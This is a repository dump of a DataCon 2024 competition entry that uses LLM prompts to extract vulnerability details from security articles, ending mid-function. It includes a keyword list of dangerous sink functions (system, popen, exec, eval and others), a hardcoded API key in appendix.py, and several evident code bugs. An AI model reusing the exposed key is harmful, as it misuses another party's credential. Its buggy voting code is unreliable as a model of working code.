Showing preview only (464K chars total). Download the full file or copy to clipboard to get everything.
Repository: 123f321/datacon24_vuln_wp
Branch: main
Commit: 56424ce59834
Files: 38
Total size: 437.5 KB
Directory structure:
gitextract_r6et4_lx/
├── README.md
├── task1_source_code/
│ ├── appendix.py
│ ├── pic_expand.py
│ ├── test.py
│ └── test_examples/
│ ├── 200
│ ├── 201
│ ├── 202
│ ├── 203
│ ├── 250.txt
│ └── 251.txt
└── task2_source_code/
├── final_version/
│ ├── Splitting_function_C2.py
│ ├── Splitting_function_CC.py
│ ├── Splitting_function_go.py
│ ├── Splitting_function_java.py
│ ├── Splitting_function_php.py
│ ├── Splitting_function_py.py
│ ├── Splitting_jsp.py
│ ├── arbitrary.py
│ ├── bof_memory.py
│ ├── bypass.py
│ ├── command_memory.py
│ ├── int_overflow.py
│ ├── others_memory.py
│ └── test.py
└── first_version/
├── Splitting_function_C2.py
├── Splitting_function_CC.py
├── Splitting_function_go.py
├── Splitting_function_java.py
├── Splitting_function_php.py
├── Splitting_function_py.py
├── Splitting_jsp.py
├── arbitrary.py
├── bof.py
├── bypass.py
├── command.py
├── int_overflow.py
├── others.py
└── test.py
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# datacon24_vuln_wp
https://www.datacon.org.cn/competition/competitions/91/introduction
该项目基于datacon比赛2024年漏洞分析赛道冠军战队0817iotg的完整解题框架,集成了一个基于大模型的自动化漏洞分析系统,内容包括情报提取和漏洞分析两部分内容的可执行docker压缩包以及相关功能说明
## 一、情报提取
### 1.1问题描述
在进行漏洞挖掘工作时,对特定目标的历史漏洞挖掘经验的学习是至关重要的一步。然而,传统的搜索引擎在面对海量数据时往往显得效率低下,难以快速有效地获取所需的关键信息。近年来,随着人工智能大模型技术的发展及其在自然语言处理方面的显著进步,利用大模型从海量漏洞分析文章中提取关键知识已经成为一种可行的方法。 本挑战要求选手利用大模型技术,对漏洞分析文章进行高效梳理,从中提取出有价值的摘要信息,任务包括但不限于:文献整理、文本预处理、关键信息提取、摘要生成、结果验证等。
### 1.2核心思路

- 相关内容的源码位于task1_source_code目录下,主功能文件为test.py, test_examples目录下为该任务的部分测试数据集
- 使用BeautifulSoup4解析html文件,去除图片等无用信息。
- 运用提示工程方法生成精细化提示,拆分输出维度,使用两次大模型调用分别判定不同输出维度
- 运用投票模型检查结果,减少大模型输出内容的不确定性,并且去除不合理结果
- 扩展框架功能与识别范围,使其能够识别版本、修复建议;提取POC/EXP代码;以及支持图片内容识别
### 1.3主要功能
- 1、能够调用大模型api对漏洞文章中的多维度信息进行自动的批量化提取,提取的信息维度包括文件名、漏洞编号、厂商或产品名、编程语言、是否有漏洞成因分析、危险函数名、是否有 POC/EXP、是否有 POC/EXP 解释
- 2、在功能1的基础上进一步对文章中的潜在POC/EXP进行判断并提取,在task1_source_code目录下的appendix.py文件中实现了相关功能
- 3、能够对漏洞文章中的图片信息进行识别并提取,在task1_source_code目录下的pic_expand.py文件中实现了相关功能
## 二、漏洞挖掘
### 2.1问题描述
漏洞挖掘是网络安全工作中不可或缺的一环,但传统的审计方法耗时耗力,且静态分析技术存在一定的局限性。随着人工智能技术特别是大模型的发展,通过对代码中的语义进行深度分析,实现更为精准的漏洞挖掘已经成为可能。这种新型的技术手段不仅提高了漏洞检测的准确性,还极大地提升了工作效率。 本题要求选手自行编写程序,并结合大模型技术自动化识别出漏洞样例中存在的安全隐患。具体任务包括:知识提取、代码分析、漏洞识别、误报消除等。通过本次比赛,参赛者不仅能够积累漏洞模式增强自身的漏洞挖掘能力,还能深入了解大模型在漏洞检测领域的应用前景。这不仅有助于提高个人的网络安全技术水平,也为未来网络安全工具的研发提供了新的思路。
### 2.2核心思路

- 相关内容的源码位于task2_source_code目录下,存在两个代码功能版本,first_version目录下为基础版本,其实现的功能为仅通过设计提示词分析题目所提供的7类漏洞;final_version目录下的最终版本,具体功能实现为,在设计提示词的过程中额外加入了一部分已知漏洞信息作为规则,从而提高大模型分析的准确率
- 根据文件总大小对待分析文件进行排序
- 过滤无关文件类型,然后根据编程语言进行函数切分
- 运用多种方法分类进行漏洞查找
- 针对代码量过大的工程,使用基于提示工程的初步筛查提取可能包含漏洞的种子函数
- 根据函数切分结果与初筛结果提取种子函数内容,根据不同漏洞类型,调用不同子模块进行二次筛查
- 针对漏洞模式较为简单的漏洞类型,使用提示工程进行漏洞筛查
- 针对漏洞样例种类丰富的漏洞类型,使用RAG技术进行漏洞筛查
- 针对其他漏洞类型,结合两种思路,根据测试效果择优选择
### 2.3主要功能
- 1、能够针对复杂情况实现函数级别的切分,能够针对多文件、长代码(上万行)、多语言类型的原始分析样本进行切分处理,并最终通过排序以及多轮提示,将涉及漏洞的代码内容完整地提供给大模型进行分析。
- 2、能够针对多种不同的漏洞类型(race conditon、sql注入、double-fetch等)进行初筛与分类,并在此基础上选择特定的分析提示词,实现各类漏洞自动化的分析
- 3、针对已指定的漏洞类型(buff_overflow、command_injection等),通过较为完备的提示词以及置信度分析方法,利用大模型分析出最有可能的漏洞函数
================================================
FILE: task1_source_code/appendix.py
================================================
#!/usr/local/bin/python3
#赛题一的额外维度目标分析,包括版本、POC提取等
import requests
from langchain_openai import ChatOpenAI
from langchain_core.messages import HumanMessage, SystemMessage
from langchain.prompts import PromptTemplate,ChatPromptTemplate
from langchain.chains import LLMChain, SimpleSequentialChain
from langchain.prompts import (
ChatPromptTemplate,
PromptTemplate,
SystemMessagePromptTemplate,
AIMessagePromptTemplate,
HumanMessagePromptTemplate
)
from langchain.output_parsers import StructuredOutputParser, ResponseSchema
from langchain.schema import (
AIMessage,
HumanMessage,
SystemMessage
)
import os
import json
import time
from bs4 import BeautifulSoup
import re
# prompt informations
HumanPrompt = PromptTemplate(
template="""
User question: if given some text and script from a html website, please summarize the following information:
Vulnerability ID: The CVE ID corresponding to the vulnerability described in the article, in the format CVE-XXXX-XXXX. If there is no specific ID, it is NULL.
Vendor or Product Name: The vendor or product name corresponding to the vulnerability described in the article. If both exist, take the vendor name.
Software version number: The version number of the affected product device, usually appears in the form of "Tested Versions: ".
Mitigation recommendations: Guidance on how to mitigate vulnerabilities, usually appears in the form of "Suggested Mitigations:".
Extracted POC/EXP: Proof of Concept or Exploit extracted from the article, usually appears in the form of "Proof-of-Concept:".
s
<context>
{ocr_result}
</context>
answer user's question with the information in <context>
output format: {format_instructions}
let us analyse it step by step, give us your analyse procedure, and be careful about the following things:
1.Check whether the "Affected Version(s)" field and the "Tested Version(s)" field exist in the article. If only "Affected Version(s)" or only "Tested Version(s)" exists, use it as the content of "Software version number". If both "Affected Version(s)" and "Tested Version(s)" exist, use the content of "Affected Version(s)" as the content of "Software version number".
2.Check whether the "Suggested Mitigations" or "Mitigations" field exists in the article. If so, use the content of "Suggested Mitigations" as the content of "Mitigation recommendations".If not, Summarize mitigation suggestions from the article as content of "Mitigation recommendations".
3.Check whether the "Proof-of-Concept" field exists in the article.If so, use the content of "Proof-of-Concept" as the content of "Extracted POC/EXP". If not, set field "Extracted POC/EXP" as NULL.
4.Make sure all fields are fully extracted, especially "Proof-of-Concept".
5.Output all the extracted fields in a complete JSON format without using referential sentences such as "See the Python script provided above."
""",
input_variables=["ocr_result","format_instructions"]
)
SystemPrompt = PromptTemplate(
template="You are a cyber security engineer whose job is to look at vulnerability disclosure websites and summarize vulnerability information, you have the knowledge about CVE, poc(proof of concept) and exp(exploit), know all kinds of common-used programming language, and can read both English and Chinese.",
)
vender_str="PHP;Linksys;Google;Asus;华夏;Mongoose;OFFICE;Mail GPU;SnakeYAML;WebKit;Microsoft;OpenCart;Cajviewer;ZZCMS;Linux;Askey;Oracle;Github;Calibre;Typora;Bitrix24;bluetooth_stack;Foxit;Netgear;SolarWinds;TP-Link;Samsung;Adobe;Singtel;Acrobat;CS-Cart;Tesla;Apple;SEACMS;Shopware;Gitlab;Chamilo;Windows;LMS;Juniper;Qemu;OwnCloud;NULL;ChamiloLMS;Confluence;Apache;D-Link;F5;Prolink;Trend;Icecast;Hancom;Schneider;Mikrotik;Netatalk;NodeBB;Ivanti;Openwrt;Huawei;Dolibarr;KMPlayer;Android;EXIM;MarkText;Cisco;Razer;Obsidian;然之;Fortinet;Sudo"
program_str="JAVA;PHP;JAVASCRIPT;NULL;PYTHON;C;HTML;SHELL;C#;TYPESCRIPT;ASP;RUBY;C++"
sink_str="gets;scanf;strcpy;strcat;sprintf;vsprintf;stpcpy;wcscpy;memcpy;memmove;memset;printf;fprintf;vprintf;vfprintf;fscanf;fgets;input;array.array;eval;system;popen;exec;execl;execlp;execve;execvp;fork;os.system;subprocess.Popen;subprocess.call;subprocess.run;Runtime.exec;Runtime.getRuntime().exec;shell_exec;passthru;proc_open;do_system;mysql_query;mysqli_query;pg_query;sqlite3.execute;sqlite3_exec;psycopg2.execute;ActiveRecord.find_by_sql;prepare;unserialize;pickle.load;pickle.loads;cPickle.load;cPickle.loads;ObjectInputStream.readObject;Marshal.load;YAML.load;BinaryFormatter.Deserialize;Storable::thaw;open;fopen;readfile;file_get_contents;include;require;chmod;chown;os.chmod;os.chown;setuid;setgid;chroot;sleep;wait;tmpnam;tmpfile;tempnam;tempfile.mktemp;malloc;free;close;dup;ShellExecute;CreateProcess;strcpy;strcat;stpcpy;wcscpy;ActiveRecord.find_by_sql"
#output
response_schemas = [
# ResponseSchema(name="cve", description="Vulnerability ID"),
# ResponseSchema(name="vendor", description="Vendor or Product Name"),
# ResponseSchema(name="language", description="Programming Language"),
# ResponseSchema(name="trace_language", description="Backtrace Lanuage"),
# ResponseSchema(name="is_cause", description="Is Cause Analysis"),
# ResponseSchema(name="function", description="Dangerous Function Name"),
# ResponseSchema(name="is_POC", description="Is POC/EXP"),
# ResponseSchema(name="is_explain", description="Is POC/EXP Explanation"),
# ResponseSchema(name="is_related", description="Is Related"),
ResponseSchema(name="version", description="Software version number"),
ResponseSchema(name="Recommendations", description="Mitigation recommendations"),
ResponseSchema(name="POC/EXP", description="Extracted POC/EXP"),
]
def extract_text_from_html(html_file_path):
# 读取HTML文件
with open(html_file_path, 'r', encoding='utf-8') as file:
html_content = file.read()
# 使用BeautifulSoup解析HTML
soup = BeautifulSoup(html_content, 'html.parser')
for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']):
unwanted_tag.decompose()
text = soup.get_text()
lines = text.splitlines()
non_empty_lines = [line.strip() for line in lines if line.strip()]
output_text = "\n".join(non_empty_lines)
return output_text
"""
Connect to the OpenAI API and return the response
"""
# 数据集所在的文件目录
#data_dir = '/vlun_demo'
data_dir = './data'
# 答案文件保存的目录
#answer_dir = '/result'
answer_dir = './result'
# 提示词
init_prompt = '''你的提示词'''
# chat_template = ChatPromptTemplate.from_messages(
# [
# ("system", "You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information."),
# ("human", "Hello, how are you doing?"),
# ("ai", "I'm doing well, thanks!"),
# ("human", "{user_input}"),
# ]
# )
# create SystemMessagePromptTemplate
SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)
# create HumanMessagePromptTemplate
HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPrompt)
# conbine Prompt
chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])
output_parser = StructuredOutputParser.from_response_schemas(response_schemas)
format_instructions = output_parser.get_format_instructions()
def read_words_from_file(file_path, num_words):
words = []
try:
with open(file_path, 'r', encoding='utf-8') as file:
for line in file:
words.extend(line.split())
words.append('\n')
if len(words) >= num_words:
break
return ' '.join(words[:num_words])
except FileNotFoundError:
print(f"File not found: {file_path}")
return ""
except Exception as e:
print(f"An error occurred: {e}")
return ""
def llm_api_test(prompt):
llm = ChatOpenAI(
streaming=True,
verbose=True,
# key和base开赛后提供
openai_api_key='6ad9127594fa1951b18de59fa8ecb856',
openai_api_base='https://poc.qianxin.com',
model_name='tq-gpt',
timeout=300
)
chain=LLMChain(llm=llm, prompt=chat_template)
try:
output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str)
print(output)
json_out=output_parser.parse(output)
return json_out
except Exception as e:
print(f"Request timed out. {e}")
return None
def func(input, output):
root_dir = 'data'
files = os.listdir(root_dir)
# 仅选择数字命名的文件
numeric_files = [f for f in files if f.isdigit()]
# 按数字大小排序文件名
sorted_files = sorted(numeric_files, key=int)
for file in sorted_files:
#print(file)
file_path = root_dir+'/'+file
#print(file_path)
result_string = extract_text_from_html(file_path)
#print(result_string)
json_out=llm_api_test(result_string)
while json_out==None:
print("error: return is None, try again")
json_out=llm_api_test(result_string)
print("json_out",json_out)
json_str = json.dumps(json_out, indent=4)
print("json_str",json_str)
with open('output.txt', 'a') as f:
f.write(json_str)
if __name__ == '__main__':
func(data_dir, answer_dir)
================================================
FILE: task1_source_code/pic_expand.py
================================================
#赛题一的扩展功能,扩展了从html网页文件中直接提取图片的能力
from bs4 import BeautifulSoup
import requests
from urllib.parse import urljoin
from paddleocr import PaddleOCR, draw_ocr
def extract_text_from_html(html_file_path):
# 读取HTML文件
image_text=""
with open(html_file_path, 'r', encoding='utf-8') as file:
html_content = file.read()
# 使用BeautifulSoup解析HTML
soup = BeautifulSoup(html_content, 'html.parser')
base_url = 'https://starlabs.sg'
# Lists to hold image URLs and base64 images
image_urls = []
# Extract image URLs from <img> tags
img_tags = soup.find_all('img')
for img in img_tags:
src = img.get('src')
if src:
if src.startswith('data:image/'):
# This is a base64 encoded image
pass
else:
# Resolve relative URLs
full_url = urljoin(base_url, src)
image_urls.append(full_url)
# Extract image URLs from <link> tags that are icons or images
link_tags = soup.find_all('link', href=True)
for link in link_tags:
rel = link.get('rel', [])
type_attr = link.get('type', '')
href = link['href']
if 'icon' in rel or type_attr.startswith('image/'):
# Resolve relative URLs
full_url = urljoin(base_url, href)
image_urls.append(full_url)
ocr = PaddleOCR(use_angle_cls=True, lang='en') # need to run only once to download and load model into memory
print("Image URLs:")
for url in image_urls:
print(url)
img_path = url
result = ocr.ocr(img_path, cls=True)
print("parsing result")
for idx in range(len(result)):
res = result[idx]
for line in res:
image_text+=line[1][0]
#print("line",line)
#print(len(line))
print(image_text)
for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']):
unwanted_tag.decompose()
text = soup.get_text()
lines = text.splitlines()
non_empty_lines = [line.strip() for line in lines if line.strip()]
output_text = "\n".join(non_empty_lines)
return output_text+image_text
#extract_text_from_html("data/212")
================================================
FILE: task1_source_code/test.py
================================================
#!/usr/local/bin/python3
import requests
from langchain_openai import ChatOpenAI
from langchain_core.messages import HumanMessage, SystemMessage
from langchain.prompts import PromptTemplate,ChatPromptTemplate
from langchain.chains import LLMChain, SimpleSequentialChain
from langchain.prompts import (
ChatPromptTemplate,
PromptTemplate,
SystemMessagePromptTemplate,
AIMessagePromptTemplate,
HumanMessagePromptTemplate
)
from langchain.output_parsers import StructuredOutputParser, ResponseSchema
from langchain.schema import (
AIMessage,
HumanMessage,
SystemMessage
)
import tiktoken
import os
import json
import time
from bs4 import BeautifulSoup
import re
import csv
# 数据集所在的文件目录
data_dir = '/data'
#data_dir = './data'
# 答案文件保存的目录
answer_dir = '/result'
#answer_dir = './result'
env_vars = os.environ
key_env=env_vars['API_KEY']
base_env=env_vars['API_BASE']
#8bb73128d0b5732a1e0723f922245df8
#key_env=''
#base_env='https://poc.qianxin.com'
# prompt informations
HumanPromptFormer = PromptTemplate(
template="""
User question: if given some text and script from a html website, please summarize the following information:
Vulnerability ID: The CVE ID corresponding to the vulnerability described in the article, in the format CVE-XXXX-XXXX. If there is no specific ID, it is NULL.
Vendor or Product Name: The vendor or product name corresponding to the vulnerability described in the article. If both exist, take the vendor name.
Programming Language: The programming language used by the object with the vulnerability. If multiple languages are involved, take the language where the vulnerability point is located.
Backtrace Lanuage: The programming language suggested by back trace chain or stack trace chain, default is NULL if there is no back trace chain.
Is Cause Analysis: Whether the article contains an explanation of the cause of the vulnerability. TRUE if yes, FALSE if no.
Dangerous Function: Directly-mentioned dangerous function that triggers the vulnerability described in the article, such as memmove, do_system. If there is no such function, it is NULL.
<context>
{ocr_result}
</context>
answer user's question with the information in <context>
output format: {format_instructions}
let us analyse it step by step, give us your analyse procedure, and be careful about the following things:
1.if there are many CVE IDs in an article, only output one CVE ID that is most relevant to the text;
2.all vendor that you need to check is listed in {vender_list}, different items are separated with ';', NULL means no vender or product name are found;
3.
4.if many vendors are located, only output one vender that is closed to the CVE ID information and is directly mentioned(eg: output Android instead of Google if find "Android" in text but no "google" in text);
5.all programming languages that you need to check is listed in {language_list}, different items are separated with ';', NULL means no other languages are found, your Programming Language output must be in the list;
6.
7.If there are many programming languages found, output the language that is most relevant to the vulnerability trigger point(near the Dangerous Function output);
8.Dangerous function must be directly mentioned in the text, you can use some content relevant to the dangerous function if it is not directly found(eg: output telnet if there is no system);
9.Regard "Is Cause Analysis" to be true when the article describes the code near a dangerous function(Attacking codes such as PoC is not this type of code), return FALSE if there are no content about code nearing dangerous function;
10.
11.
""",
input_variables=["ocr_result","format_instructions","vender_list","language_list"]
)
HumanPromptLater = PromptTemplate(
template="""
User question: if given some text and script from a html website, please summarize the following information:
POC/EXP Presence: Determine if the article contains a Proof of Concept (POC) or exploit code (EXP). If present, output TRUE; otherwise, output FALSE.
POC/EXP Explanation: Identify whether the article provides an explanation or commentary about the POC/EXP code. If explanations exist, output TRUE; otherwise, output FALSE.
Is Related: Whether the article is related to vulnerability mining. If it is not related to vulnerability mining or does not involve specific vulnerabilities, return FALSE, otherwise, return TRUE.
<context>
{ocr_result}
</context>
answer user's question with the information in <context>
output format: {format_instructions}
let us analyse it step by step, give us your analyse procedure, and be careful about the following things:
1. Is related should be TRUE if the article is about a certain vulnerability(eg:has a CVE id);
2. Is related should be FALSE if the article describes cyber security, but do not describe vulnerability mining(eg: it describes virus);
3. If the article contains a functional code snippet, a series of steps or instructions, or commands that demonstrate how to exploit a vulnerability, carry out an attack, or crash the vulnerable system, mark POC/EXP Presence as TRUE; otherwise, mark it as FALSE.
4. Step 4.1-4.4 are used for POC/EXP Explanations:
4.1 POC/EXP Explanation requires a field-by-field explanation of each parameter or field involved in the POC/EXP, and this explanation must be separate from the POC code block;
4.2 The explanation must detail all fields or parameters (e.g., HTTP headers, input parameters, function arguments) and cannot rely on common commands (e.g., telnet, curl) or explain only one field;
4.3 If the explanation does not meet these criteria or is not separate from the POC code block, mark POC/EXP Explanation as FALSE;
4.4 POC/EXP Explanations are text close to POC/EXP(code itself is not explaination), comment of code is also regarded as explainations.
5. Focused Analysis:
5.1. Pay attention to both the presence of POC/EXP and the presence of explanation.
5.2. When POC/EXP Presence is TRUE, verify if there is enough explanation to mark POC/EXP Explanation as TRUE.
5.3. If the code is present but lacks detailed explanation or commentary about the specific fields in the POC/EXP, mark POC/EXP Explanation as FALSE.
6.please ensure that the output json is a legal json file, and output your analyse procedure.
""",
input_variables=["ocr_result","format_instructions"]
)
SystemPrompt = PromptTemplate(
template="You are a cyber security engineer whose job is to look at vulnerability disclosure websites and summarize vulnerability information, you have the knowledge about CVE, poc(proof of concept) and exp(exploit), know all kinds of common-used programming language, and can read both English and Chinese.",
)
vender_str="PHP;Linksys;Google;Asus;华夏;Mongoose;OFFICE;Mail GPU;SnakeYAML;WebKit;Microsoft;OpenCart;Cajviewer;ZZCMS;Linux;Askey;Oracle;Github;Calibre;Typora;Bitrix24;bluetooth_stack;Foxit;Netgear;SolarWinds;TP-Link;Samsung;Adobe;Singtel;Acrobat;CS-Cart;Tesla;Apple;SEACMS;Shopware;Gitlab;Chamilo;Windows;LMS;Juniper;Qemu;OwnCloud;NULL;Confluence;Apache;D-Link;F5;Prolink;Trend;Icecast;Hancom;Schneider;Mikrotik;Netatalk;NodeBB;Ivanti;Openwrt;Huawei;Dolibarr;KMPlayer;Android;EXIM;MarkText;Cisco;Razer;Obsidian;然之;Fortinet;Sudo"
program_str="JAVA;PHP;JAVASCRIPT;NULL;PYTHON;C;HTML;SHELL;C#;TYPESCRIPT;ASP;RUBY;C++"
sink_str="gets;scanf;strcpy;strcat;sprintf;vsprintf;stpcpy;wcscpy;memcpy;memmove;memset;printf;fprintf;vprintf;vfprintf;fscanf;fgets;input;array.array;eval;system;popen;exec;execl;execlp;execve;execvp;fork;os.system;subprocess.Popen;subprocess.call;subprocess.run;Runtime.exec;shell_exec;proc_open;do_system;ShellExecute;CreateProcess"
#output
response_schemas_former = [
ResponseSchema(name="cve", description="Vulnerability ID"),
ResponseSchema(name="vendor", description="Vendor or Product Name"),
ResponseSchema(name="language", description="Programming Language"),
ResponseSchema(name="trace_language", description="Backtrace Lanuage"),
ResponseSchema(name="is_cause", description="Is Cause Analysis"),
ResponseSchema(name="function", description="Dangerous Function Name"),
#ResponseSchema(name="is_POC", description="Is POC/EXP"),
#ResponseSchema(name="is_explain", description="Is POC/EXP Explanation"),
#ResponseSchema(name="is_related", description="Is Related"),
]
response_schemas_later = [
#ResponseSchema(name="cve", description="Vulnerability ID"),
#ResponseSchema(name="vendor", description="Vendor or Product Name"),
#ResponseSchema(name="language", description="Programming Language"),
#ResponseSchema(name="is_cause", description="Is Cause Analysis"),
#ResponseSchema(name="function", description="Dangerous Function Name"),
ResponseSchema(name="is_POC", description="Is POC/EXP"),
ResponseSchema(name="is_explain", description="Is POC/EXP Explanation"),
ResponseSchema(name="is_related", description="Is Related"),
]
length_limit=18000
def get_tokenizer(model_name='gpt-3.5-turbo'):
encoding = tiktoken.encoding_for_model(model_name)
return encoding
# 计算文本的 token 数量
def tokenize(text, tokenizer=None):
if tokenizer is None:
tokenizer = get_tokenizer()
# 使用 tokenizer 进行文本编码并返回 token 数量
tokens = tokenizer.encode(text)
return len(tokens)
def split_prompt(prompt, max_tokens, tokenizer=None):
# 获取tokenizer
encoding = tokenizer or get_tokenizer()
# 对输入文本进行 token 化
prompt_tokens = encoding.encode(prompt)
# 仅取前 max_tokens 个 token
prompt_tokens = prompt_tokens[:max_tokens] # 只保留前 max_tokens 个 token
# 返回 token 数量不超过 max_tokens 的文本块
chunks = []
if prompt_tokens:
chunks.append(encoding.decode(prompt_tokens))
return chunks[0]
def extract_text_from_html(html_file_path):
# 读取HTML文件
with open(html_file_path, 'r', encoding='utf-8') as file:
html_content = file.read()
# 使用BeautifulSoup解析HTML
soup = BeautifulSoup(html_content, 'html.parser')
for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']):
unwanted_tag.decompose()
text = soup.get_text()
lines = text.splitlines()
non_empty_lines = [line.strip() for line in lines if line.strip()]
output_text = "\n".join(non_empty_lines)
return output_text
"""
Connect to the OpenAI API and return the response
"""
# 提示词
init_prompt = '''你的提示词'''
# chat_template = ChatPromptTemplate.from_messages(
# [
# ("system", "You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information."),
# ("human", "Hello, how are you doing?"),
# ("ai", "I'm doing well, thanks!"),
# ("human", "{user_input}"),
# ]
# )
# create SystemMessagePromptTemplate
SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)
def check_output_regex(output):
pattern = r"maximum context length is 8000 tokens"
if re.search(pattern, output):
return 1
else:
return 0
def llm_api_test_former(prompt):
global length_limit
llm = ChatOpenAI(
streaming=True,
verbose=True,
# key和base开赛后提供
openai_api_key=key_env,
openai_api_base=base_env,
model_name='tq-gpt',
timeout=300
)
# create HumanMessagePromptTemplate
HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptFormer)
# conbine Prompt
chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])
output_parser = StructuredOutputParser.from_response_schemas(response_schemas_former)
format_instructions = output_parser.get_format_instructions()
if len(prompt)>length_limit:
prompt = prompt[:length_limit]
chain=LLMChain(llm=llm, prompt=chat_template)
try:
output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str)
print(output)
json_out=output_parser.parse(output)
# AI may regard a content to be None not NULL
for i in range(10):
if json_out["cve"] and json_out["vendor"] and json_out["language"] and json_out["trace_language"] and json_out["is_cause"] and json_out["function"]:
break
output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str)
#print(output)
json_out=output_parser.parse(output)
return json_out
except Exception as e:
print(f"Request timed out. {e}")
if check_output_regex(str(e)) == 1:
length_limit = length_limit - 2000
return None
def llm_api_test_later(prompt):
global length_limit
llm = ChatOpenAI(
streaming=True,
verbose=True,
# key和base开赛后提供
openai_api_key=key_env,
openai_api_base=base_env,
model_name='tq-gpt',
timeout=300
)
# create HumanMessagePromptTemplate
HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptLater)
# conbine Prompt
chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])
output_parser = StructuredOutputParser.from_response_schemas(response_schemas_later)
format_instructions = output_parser.get_format_instructions()
if len(prompt)>length_limit:
prompt = prompt[:length_limit]
try:
output = chain.run(ocr_result=prompt,format_instructions=format_instructions)
print(output)
json_out=output_parser.parse(output)
# AI may regard a content to be None not NULL
for i in range(10):
if json_out["is_POC"] and json_out["is_explain"] and json_out["is_related"]:
break
output = chain.run(ocr_result=prompt,format_instructions=format_instructions)
json_out=output_parser.parse(output)
return json_out
except Exception as e:
print(f"Request timed out. {e}")
if check_output_regex(str(e)) == 1:
length_limit = length_limit - 2000
return None
def former_once(result_string):
global length_limit
length_limit = 18000
json_out_former=llm_api_test_former(result_string)
for i in range(50):
if json_out_former!=None:
break
json_out_former=llm_api_test_former(result_string)
print(json_out_former)
return json_out_former
def later_once(result_string):
global length_limit
length_limit = 18000
json_out_later=llm_api_test_later(result_string)
for i in range(50):
if json_out_later!=None:
break
print("error: return is None, try again")
json_out_later=llm_api_test_later(result_string)
return json_out_later
vender_relations=[
("OFFICE", "Microsoft"),
("Askey", "Asus"),
("Acrobat", "Adobe"),
("Github", "Microsoft"),
("Android", "Google"),
("Confluence", "Atlassian")
]
cpp_syms=["::","namespace","cpp","templete ","class ","iostream","catch (std::exception &e)","cin >>","cout <<","virtual "]
def vote_ask(input, output):
fout=open(output+"/res.csv",'w',newline='')
#writer = csv.writer(fout,delimiter=';')
root_dir = input
files = os.listdir(root_dir)
# 仅选择数字命名的文件
numeric_files = [f for f in files if f.isdigit()]
# 按数字大小排序文件名
sorted_files = sorted(numeric_files, key=int)
for file in sorted_files:
try:
print(file)
file_path = root_dir+'/'+file
print(file_path)
result_string = extract_text_from_html(file_path)
print(result_string)
json_out_former=former_once(result_string)
json_out_former2=former_once(result_string)
json_out_former3=None
vender_list = vender_str.split(';')
program_list = program_str.split(';')
#vote
if json_out_former["vendor"] not in vender_list and json_out_former2["vendor"] in vender_list:
json_out_former["vendor"]=json_out_former2["vendor"]
elif json_out_former["vendor"] not in vender_list and json_out_former2["vendor"] not in vender_list:
json_out_former3=former_once(result_string)
if json_out_former3["vendor"] in vender_list:
json_out_former["vendor"]=json_out_former3["vendor"]
if json_out_former["vendor"] != json_out_former2["vendor"]:
if not json_out_former3:
json_out_former3=former_once(result_string)
if json_out_former2["vendor"] == json_out_former3["vendor"]:
json_out_former["vendor"]=json_out_former2["vendor"]
vendor = json_out_former.get("vendor", "").lower()
for a, b in vender_relations:
a_lower, b_lower = a.lower(), b.lower()
# 正向匹配:如果 vendor 是元组的第一个,且第二个出现在文本中
if vendor == a_lower and b_lower in result_string.lower():
json_out_former["vendor"] = b # 修改为元组的第二个值
break
elif vendor == b_lower and b_lower in result_string.lower():
pass
# 反向匹配:如果 vendor 是元组的第二个,且第一个出现在文本中
elif vendor == b_lower and a_lower in result_string.lower():
json_out_former["vendor"] = a # 修改为元组的第一个值
break
if json_out_former["language"] != json_out_former2["language"]:
if not json_out_former3:
json_out_former3=former_once(result_string)
if json_out_former2["language"] == json_out_former3["language"]:
json_out_former["language"]=json_out_former3["language"]
for json in [json_out_former,json_out_former2]:
if json["trace_language"]=="C":
for sym in cpp_syms:
if sym in result_string:
json["trace_language"]=="C++"
break
elif json["trace_language"]=="C++":
find_sym=False
for sym in cpp_syms:
if sym in result_string:
find_sym=True
break
if not find_sym:
json["trace_language"]=="C"
if json_out_former["trace_language"] != json_out_former2["trace_language"]:
if not json_out_former3:
json_out_former3=former_once(result_string)
if json_out_former2["trace_language"] == json_out_former3["trace_language"]:
json_out_former["trace_language"]=json_out_former3["trace_language"]
if json_out_former["is_cause"] != json_out_former2["is_cause"]:
if not json_out_former3:
json_out_former3=former_once(result_string)
if json_out_former2["is_cause"] == json_out_former3["is_cause"]:
json_out_former["is_cause"]=json_out_former3["is_cause"]
if json_out_former["cve"] != json_out_former2["cve"]:
if not json_out_former3:
json_out_former3=former_once(result_string)
if json_out_former2["cve"] == json_out_former3["cve"]:
json_out_former["cve"]=json_out_former3["cve"]
if json_out_former["function"] != json_out_former2["function"]:
if not json_out_former3:
json_out_former3=former_once(result_string)
if json_out_former2["function"] == json_out_former3["function"]:
json_out_former["function"]=json_out_former3["function"]
json_out_later=later_once(result_string)
json_out_later2=later_once(result_string)
json_out_later3=later_once(result_string)
json_out_later4=later_once(result_string)
#vote
related_vote=0
if json_out_later['is_related'] == "FALSE":
related_vote+=1
if json_out_later2['is_related'] == "FALSE":
related_vote+=1
if json_out_later3['is_related'] == "FALSE":
related_vote+=1
if json_out_later4['is_related'] == "FALSE":
related_vote+=1
if json_out_later2['is_POC']=="TRUE" and json_out_later2["is_explain"]=="FALSE":
json_out_later=json_out_later2
if json_out_later3['is_POC']=="TRUE" and json_out_later3["is_explain"]=="FALSE":
json_out_later=json_out_later3
if json_out_later4['is_POC']=="TRUE" and json_out_later4["is_explain"]=="FALSE":
json_out_later=json_out_later4
if json_out_later['is_POC']=="FALSE" and json_out_later["is_explain"]=="TRUE":
